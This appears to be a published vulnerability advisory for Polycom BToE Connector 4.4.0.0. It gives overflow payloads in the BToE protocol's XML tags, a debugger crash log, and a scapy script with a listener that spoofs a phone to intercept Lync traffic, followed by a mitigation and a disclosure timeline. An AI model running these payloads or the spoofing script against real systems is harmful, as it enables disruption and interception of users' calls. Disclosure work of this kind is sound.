Microsoft® Lync™ Better Together over Ethernet (BToE) feature on
Polycom® VVX® business media. phones enables you to control phone
activity from your computer using your Lync client.
The BToE feature enables you to place, answer, and hold audio and video
calls from your Polycom VVX phone and your Lync client on your computer.
#### Title: Polycom BToE Connector 4.4.0.0 Multiple Vulnerabilities
#### Affected versions: 4.4.0.0
#### Tested on: Windows 10 Enterprise (x64), Windows 11 Home (x64),
PBC.exe (x86)
#### Credits: echo
1. Remote stack based buffer overflow
Polycom BToE Connector in version 4.4.0.0 is prone to Remote Stack Based
Buffer Overflow.
Vulnerability occurs in handling the following BToE protocol tags:
<QoSDSCPValue>, <MediaPort>, <Dtmf>, <SignInState> and is related to the
lack of error checking after call strstr function.
Value returned by strstr is next used to calculate size of data which
will be passed to strncpy.
Due to limitation imposed on us by recv function - direct control only
over 1024 bytes of data - using this vulnerability to achieve Remote
Code Execution is very hard (partial overwrite) or even impossible.
0022DB5B | C68424 30020000 00 | mov byte ptr ss:[esp+230],0 |
0022DB63 | 68 28D83000 | push pbc.30D828 |
30D828:"</QoSDSCPValue>\n"
0022DB68 | 57 | push edi |
0022DB69 | 66:0FD68424 39020000 | movq qword ptr ss:[esp+239],xmm0 |
0022DB72 | 83C6 0E | add esi,E |
0022DB75 | C68424 41020000 00 | mov byte ptr ss:[esp+241],0 |
0022DB7D | FF15 F4222E00 | call dword ptr ds:[<&strstr>] |
0022DB83 | 8BF8 | mov edi,eax | <- poiter returned
by strstr (no error check!)
0022DB85 | 8D8424 38020000 | lea eax,dword ptr ss:[esp+238] |
0022DB8C | 2BFE | sub edi,esi | <- calculate the
size of QoSDSCPValue value
0022DB8E | 57 | push edi | (null - poiter)
0022DB8F | 56 | push esi |
0022DB90 | 50 | push eax |
0022DB91 | FF15 CC242E00 | call dword ptr ds:[<&strncpy>] |
<- (buffer overflow)
0022DB97 | 83C4 14 | add esp,14 |
:POC:
-- <MediaPort>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<response protocolVersion="1" requestId="2">
<MediaPort>
31337
</MediaPort>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-- <QoSDSCPValue>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<response>
<QoSDSCPValue>
0
</QoSDSCPValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:CRASH LOG:
0:004> g
(2d80.336c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=ff09262c ecx=3fc2421e edx=00000000 esi=00f6dac4
edi=00f6fffd
eip=774028e9 esp=00f6d974 ebp=00f6e284 iopl=0 nv up ei pl nz na
pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ucrtbase!strncpy+0x109:
774028e9 8907 mov dword ptr [edi],eax
ds:002b:00f6fffd=????????
0:003> g
(2d80.336c): Unknown exception - code c00001a5 (!!! second chance !!!)
eax=00000000 ebx=ff09262c ecx=3fc2421e edx=00000000 esi=00f6dac4
edi=00f6fffd
eip=774028e9 esp=00f6d974 ebp=00f6e284 iopl=0 nv up ei pl nz na
pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ucrtbase!strncpy+0x109:
774028e9 8907 mov dword ptr [edi],eax
ds:002b:00f6fffd=????????
0:003> kb
# ChildEBP RetAddr Args to Child
00 00f6d97c 002b9942 00f6e248 00f6d9d3 ff09262d ucrtbase!strncpy+0x109
WARNING: Stack unwind information not available. Following frames may be
wrong.
01 00f6e284 41414141 41414141 41414141 41414141 PBC+0x9942
02 00f6e288 41414141 41414141 41414141 41414141 0x41414141
03 00f6e28c 41414141 41414141 41414141 41414141 0x41414141
04 00f6e290 41414141 41414141 41414141 41414141 0x41414141
05 00f6e294 41414141 41414141 41414141 41414141 0x41414141
06 00f6e298 41414141 41414141 41414141 41414141 0x41414141
07 00f6e29c 41414141 41414141 41414141 41414141 0x41414141
08 00f6e2a0 41414141 41414141 41414141 41414141 0x41414141
09 00f6e2a4 41414141 41414141 41414141 41414141 0x41414141
0a 00f6e2a8 41414141 41414141 41414141 41414141 0x41414141
0b 00f6e2ac 41414141 41414141 41414141 41414141 0x41414141
0c 00f6e2b0 41414141 41414141 41414141 41414141 0x41414141
0d 00f6e2b4 41414141 41414141 41414141 41414141 0x41414141
0e 00f6e2b8 41414141 41414141 41414141 41414141 0x41414141
0f 00f6e2bc 41414141 41414141 41414141 41414141 0x41414141
10 00f6e2c0 41414141 41414141 41414141 41414141 0x41414141
11 00f6e2c4 41414141 41414141 41414141 41414141 0x41414141
12 00f6e2c8 41414141 41414141 41414141 41414141 0x41414141
13 00f6e2cc 41414141 41414141 41414141 41414141 0x41414141
14 00f6e2d0 41414141 41414141 41414141 41414141 0x41414141
15 00f6e2d4 41414141 41414141 41414141 41414141 0x41414141
16 00f6e2d8 41414141 41414141 41414141 41414141 0x41414141
17 00f6e2dc 41414141 41414141 41414141 41414141 0x41414141
18 00f6e2e0 41414141 41414141 41414141 41414141 0x41414141
19 00f6e2e4 41414141 41414141 41414141 41414141 0x41414141
1a 00f6e2e8 41414141 41414141 41414141 41414141 0x41414141
1b 00f6e2ec 41414141 41414141 41414141 41414141 0x41414141
1c 00f6e2f0 41414141 41414141 41414141 41414141 0x41414141
1d 00f6e2f4 41414141 41414141 41414141 41414141 0x41414141
1e 00f6e2f8 41414141 41414141 41414141 41414141 0x41414141
1f 00f6e2fc 41414141 41414141 41414141 41414141 0x41414141
20 00f6e300 41414141 41414141 41414141 41414141 0x41414141
21 00f6e304 41414141 41414141 41414141 41414141 0x41414141
22 00f6e308 41414141 41414141 41414141 41414141 0x41414141
23 00f6e30c 41414141 41414141 41414141 41414141 0x41414141
24 00f6e310 41414141 41414141 41414141 41414141 0x41414141
25 00f6e314 41414141 41414141 41414141 41414141 0x41414141
26 00f6e318 41414141 41414141 41414141 41414141 0x41414141
27 00f6e31c 41414141 41414141 41414141 41414141 0x41414141
28 00f6e320 41414141 41414141 41414141 41414141 0x41414141
29 00f6e324 41414141 41414141 41414141 0000000a 0x41414141
2a 00f6e328 41414141 41414141 0000000a 00000000 0x41414141
2b 00f6e32c 41414141 0000000a 00000000 00000000 0x41414141
2c 00f6e330 00000000 00000000 00000000 00000000 0x41414141
2. Man in the middle / Device spoofing
BToE protocol occurs in two versions, newer and legacy.
Implementation of newer version of BToE in BToE Connector is based on
openssl library and that version support server authenticity
verification. Legacy BToE implementation is relying on plink tool from
PuTTY and doesn't check server authenticity while establishing the
connection to the server.
An attacker which has access to the 2081 UDP port which the PBC.exe is
listening on, can - based on the lack of server authenticity
verification - send a specially crafted packet and pair system/lync of
attacked user with the operating system of attacker choice.
From this point, an attacker can intercept or/and modify all data -
including phone records and SRTP streams - that are transferred between
the attacked system/lync app and the user's phone (polycom device).
:POC:
[victim system]
C:\Windows\System32>hostname
victim
C:\Windows\System32>ipconfig
Windows IP Configuration
Wireless LAN adapter Wi-Fi:
Connection-specific DNS Suffix . : NAT.in.evil.empire
Link-local IPv6 Address . . . . . :
2001:db8:3333:4444:5555:6666:7777:8888
IPv4 Address. . . . . . . . . . . : 192.168.0.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
C:\Windows\System32>
C:\Windows\System32>netstat -p UDP -a -n -b
Active Connections
Proto Local Address Foreign Address State
UDP 0.0.0.0:500 *:*
IKEEXT
[svchost.exe]
UDP 0.0.0.0:2081 *:*
[PBC.exe]
...
C:\Windows\System32>
[attacker system]
echo@attacker:~$ hostname
attacker
echo@attacker:~$
echo@attacker:~$ ip a
...
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP
group default qlen 1000
link/ether 80:91:33:9c:b9:9f brd ff:ff:ff:ff:ff:ff
inet 192.168.0.16/24 brd 192.168.0.255 scope global dynamic
noprefixroute wlan0
valid_lft 3404sec preferred_lft 3404sec
inet6 1111::2222:3333:4444:5555/66 scope link noprefixroute
valid_lft forever preferred_lft forever
echo@attacker:~$
root@attacker:/home# tail -n 1 /etc/passwd
Synergy:x:1001:1001::/home/Synergy:/bin/bash #pwd = Ch@mp$0FI1C
root@attacker:/home#
root@attacker:/home# tail /etc/ssh/sshd_config
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
AllowUsers Synergy
root@attacker:/home#
echo@attacker:~$ cat /home/echo/Pulpit/BTOE/BToEMiTMPoc.py
#!/usr/bin/python3
import argparse, socket
from scapy import all as scapy
def packet(pbc_ip, pbc_port, phone_ip, phone_port):
fp_ip = phone_ip.split(".");
payload = struct.pack("BBBBHBBBBBBBBBBBBBBBBBBBBB",
int(fp_ip[0]), int(fp_ip[1]), int(fp_ip[2]),
int(fp_ip[3]),
socket.htons(int(phone_port)),
0x00, 0x04, 0xF3,
5,8,9,10,11,12,1,13,14,15,16,17,18,19,0x1A, 0x1B, 0x1C, 0x1D);
packet = scapy.IP(dst=pbc_ip)/scapy.UDP(dport=pbc_port,
sport=scapy.RandShort())/scapy.raw(payload);
scapy.send(packet, verbose=False);
def poc():
opt = argparse.ArgumentParser(description='Process some integers.');
opt.add_argument('--pbc_ip', action='store',
type=str,
help='PBC.exe IPv4 address', required=True);
opt.add_argument('--pbc_port', action='store', type=int,
help='PBC.exe UDP port', required=True);
opt.add_argument('--fake_phone_ip', action='store', type=str,
help='Fake phone IPv4 address', required=True);
opt.add_argument('--fake_phone_port', action='store', type=str,
help='Fake phone TCP port', required=True);
args = opt.parse_args()
packet(args.pbc_ip, args.pbc_port, args.fake_phone_ip,
args.fake_phone_port);
if __name__ == "__main__":
poc();
echo@attacker:~$
echo@attacker:~$ sudo python3 /home/echo/Pulpit/BTOE/BToEMiTMPoc.py
--pbc_ip 192.168.0.11 --pbc_port 2081 --fake_phone_ip 192.168.0.16
--fake_phone_port 31337
echo@attacker:~$ nc -l -v -p 31337
listening on [any] 31337 ...
connect to [192.168.0.16] from attacker [192.168.0.16] 59680
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<request protocolVersion="1" requestId="2">
<GruuRequest></GruuRequest>
</request>
####
:Recommendation:
Since there are still no official fixes, I suggest you to consider
blocking plink.exe from location "C:\Program Files
[(x86)]\Polycom\Polycom BToE Connector"
in order to disable legacy BToE support in BToE Connector.
####
:Disclosure Timeline:
20.02.2023 – Initial contact with security@poly.com.
22.02.2023 – Sending details to HP.
06.03.2023 - HP/Poly plans the work schedule and fixes for product.
13.03.2023 – HP/Poly was informed about 90 days disclosure policy.
10.05.2023 – Request for status.
11.05.2023 – Release is planning on mid-June.
13.06.2023 - Request for status.
15.06.2023 - Publication.
-----BEGIN PGP PUBLIC KEY BLOCK-----
xjMEYgzK+BYJKwYBBAHaRw8BAQdAuvqLumsJp8MYs+ccGRDNptLpiXET6kQ4EMSQ
m0+K1kbNGEJVRyA8c2VjYnVnczNAZ21haWwuY29tPsKLBBMWCAAzFiEEVFMxXX78
QbIacMz7MuWgzP7on3UFAmIMyvgCGwMFCwkIBwIGFQgJCgsCBRYCAwEAAAoJEDLl
oMz+6J91RUwBAKYGAZ6fDeCVFckLBYJtAOfapZOkqtxsyPkWH2nI4nOOAP40wwVT
HhF+/KzlydxgZeWSFisfQiG4/gKee8TOfp7LDc44BGIMyvkSCisGAQQBl1UBBQEB
B0Bao5PIrX/c+RguQIRDZ0FRnigzTdRS1970qRbrlxUIBAMBCAfCeAQYFggAIBYh
BFRTMV1+/EGyGnDM+zLloMz+6J91BQJiDMr5AhsMAAoJEDLloMz+6J91OIkA/iS1
KwXlgE28cwK3PyPvNe7Jv5E+HXb3lXVxMe63iKdsAP94dozMMgIPdTHXU8LXxkR/
YPBCvA4bkQ9SA37Ak2UDDg==
=6VCh
-----END PGP PUBLIC KEY BLOCK-----
